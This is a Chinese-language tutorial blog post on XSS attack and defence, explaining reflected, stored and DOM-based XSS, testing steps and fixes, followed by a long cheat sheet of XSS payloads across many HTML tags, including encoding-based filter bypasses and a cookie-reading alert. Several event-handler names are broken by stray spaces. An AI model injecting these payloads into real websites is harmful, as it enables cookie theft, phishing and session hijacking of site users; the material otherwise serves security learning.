首页 > 其他分享 >WEB攻防-XSS跨站&反射型&存储型&DOM型&标签闭合&输入输出&JS代码解析

WEB攻防-XSS跨站&反射型&存储型&DOM型&标签闭合&输入输出&JS代码解析

时间:2024-11-21 19:58:10浏览次数:1  
标签:XSS 存储 跨站 WEB DOM 标签 代码 xss

XSS跨站-输入输出-原理&分类&闭合

漏洞原理:接受输入数据(如前端JS代码进行执行),输出显示数据后解析执行

(先分析,在输入,有闭合绕闭合,有过滤绕过滤)

反射(非持续型攻击)有一些浏览器会阻止不确定用户会不会点击

利用:可以制造一个钓鱼网站

基础类型:反射(非持续),存储(持续),DOM-BASE

存储型攻击(评论区留言板功能没有删除功能,一直存在该网页上,输入数据后直接写到数据库中当另一个人访问该网站时自动执行植入代码跳出弹框)

DOM攻击

和反射型还有存储型的区别:通过js代码把网站上面显示的url或者js代码当做参数传入

拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等

常用标签:https://www.freebuf.com/articles/web/340080.html

尝试闭合标签

攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等

安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等

测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)

#XSS跨站-分类测试-反射&存储&DOM

-数据交互的地方

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

用户资料

数据输出

评论,留言等

关键词、标签、说明

文件上传

-反射型XSS:(某案例测试)

常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,

由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。

-存储型XSS:(某案例测试)

存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,

当其他用户再次访问页面时触发,造成XSS攻击。

-DOM-base型XSS:(某案例测试)

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。

页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

常用标签:https://www.freebuf.com/articles/web/340080.html

xss 常见标签语句

1. a 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onm ouseover="alert('xss');">xss</a>
<a href="x" onm ouseout="alert('xss');">xss</a>

2. img 标签

<img src=x one rror="alert(1)">
<img src=x one rror=eval("alert(1)")>
<img src=1 onm ouseover="alert('xss');">
<img src=1 onm ouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

3. iframe 标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onl oad="alert(document.cookie)"></iframe>
<iframe onl oad="alert('xss');"></iframe>
<iframe onl oad="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onm ouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

4. audio 标签

<audio src=1 one rror=alert(1)>
<audio><source src="x" one rror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onm ouseover="alert('xss');"><source src="x"></audio>

5. video 标签

<video src=x one rror=alert(1)>
<video><source one rror="alert('xss');"></video>
<video controls onm ouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

6. svg 标签

<svg onl oad=javascript:alert(1)>
<svg onl oad="alert('xss');"></svg>

7. button 标签

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onm ouseover="alert('xss');">xss</button>
<button onm ouseout="alert('xss');">xss</button>
<button onm ouseup="alert('xss');">xss</button>
<button onm ousedown="alert('xss');"></button>

8. div 标签

这个需要借助url编码来实现绕过

原代码:
<div onm ouseover='alert(1)'>DIV</div>
经过url编码:
<div onm ouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

9. object标签

这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

10. script 标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

11. p 标签

<p onclick="alert('xss');">xss</p>
<p onm ouseover="alert('xss');">xss</p>
<p onm ouseout="alert('xss');">xss</p>
<p onm ouseup="alert('xss');">xss</p>

12. input 标签

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onm ouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

13. details 标签

<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>

14. select 标签

<select onfocus="alert('xss');" autofocus></select>
<select onm ouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

15. form 标签

<form method="x" action="x" onm ouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onm ouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onm ouseup="alert('xss');"><input type=submit></form>
  1. body 标签
<body onl oad="alert('xss');"></body>

标签:XSS,存储,跨站,WEB,DOM,标签,代码,xss
From: https://www.cnblogs.com/TNpiper/p/18561424

相关文章

  • 简单几步,基于云主机快速为Web项目添加AI助手
    在华为开发者空间,借助华为云对话机器人服务CBS您可以零代码创建一个大模型RAG(Retrieval-AugmentedGeneration,即检索增强生成)应用,来实现AI助手的智能问答能力。本实验借助华为云CBS提供的可访问API,在项目代码中通过几行代码引入AI助手,用户就可以在网站上看到一个AI助手......
  • K8S集群ImagePolicyWebhook配置
    ImagePolicyWebhook用于限制节点调用某个镜像环境查看系统环境#cat/etc/redhat-releaseRockyLinuxrelease9.3(BlueOnyx)#uname-aLinuxRocky9K8SMaster0030215.14.0-362.18.1.el9_3.0.1.x86_64#1SMPPREEMPT_DYNAMICSunFeb1113:49:23UTC2024x86_64x8......
  • 视频流媒体播放器EasyPlayer.js无插件直播流媒体音视频播放器Android端webview全屏调
    流媒体播放器的核心技术与发展趋势正在不断推动着行业的变革。未来,随着技术的不断进步和应用场景的不断拓展,流媒体播放器将为用户带来更加便捷、高效、个性化的观看体验。同时,流媒体播放器也会成为数字娱乐产业的重要组成部分,为整个行业的繁荣发展贡献更多的力量。Android端webvi......
  • web组态软件
        1、强大的画面显示web组态功能 2、良好的开放性。 开放性是指组态软件能与多种通信协议互联,支持多种硬件设备,向上能与管理层通信,实现上位机和下位机的双向通信。 3、丰富的功能模块。 web组态提供丰富的控制功能库,满足用户的测控要求和现场要求。利用各种功......
  • 【web】Gin+Go-Micro +Vue+Nodejs+jQuery+ElmentUI 用户模块之前端vue商城项目构建
    构建一个Vue商城项目涉及到多个技术栈的整合。我们将逐步探讨使用Gin、Go-Micro、Vue、Node.js、jQuery和ElementUI来实现用户模块的构建,分为初级、中级、高级阶段。初级用法介绍初级阶段主要关注基础功能实现,如商品展示和简单的购物车逻辑。使用Vue进行前端构建,结合Elem......
  • app测试和web测试有什么区别
    目录1.什么是APP测试?2.什么是Web测试?3.相同点4.不同点1.性能方面:2.系统架构方面:3.兼容性方面:4.相比较web测试,app更是多了一些专项测试:1.什么是APP测试?App测试是指对移动应用程序进行功能、性能、稳定性等方面的检测和评估。通过测试,可以发现和修复应用程序中的缺......
  • websocket学习看这一篇就足够啦~
    websocket概念WebSocket是HTML5开始提供的一种在单个TCP连接上进行全双工通讯的协议。WebSocket使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在WebSocketAPI中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的......
  • 24.11.19 web框架
    2.2配置环境变量2.3maven命令测试mvn-v测试maven查看版本2.4maven仓库配置配置远程仓库地址配置本地仓库2.5idea中配置maven2.6通过配置idea创建maven项目创建项目时构建系统选到maven初次创建项目时会把maven的基础依赖库(jar包)下载到本地仓......
  • 遇到Web跨域问题,如何通过nginx代理配置解决
    项目场景:系统1:----后端(b):http://111.111.111.111:10080----前端(a):111.111.111.111:10082系统2:----后端(B):http://111.111.111.111:10083----前端(A):111.111.111.111:10081端口服务10082b(后端)10080a(前端)10083B(后端)10081A(前端)问题描述当系统2的前端A(10081),去调系统1的后端......
  • WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
    什么是文件包含1、原理程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制(如进行替换和修改),则存储文件包含漏洞白盒发现:在php代码中如果存......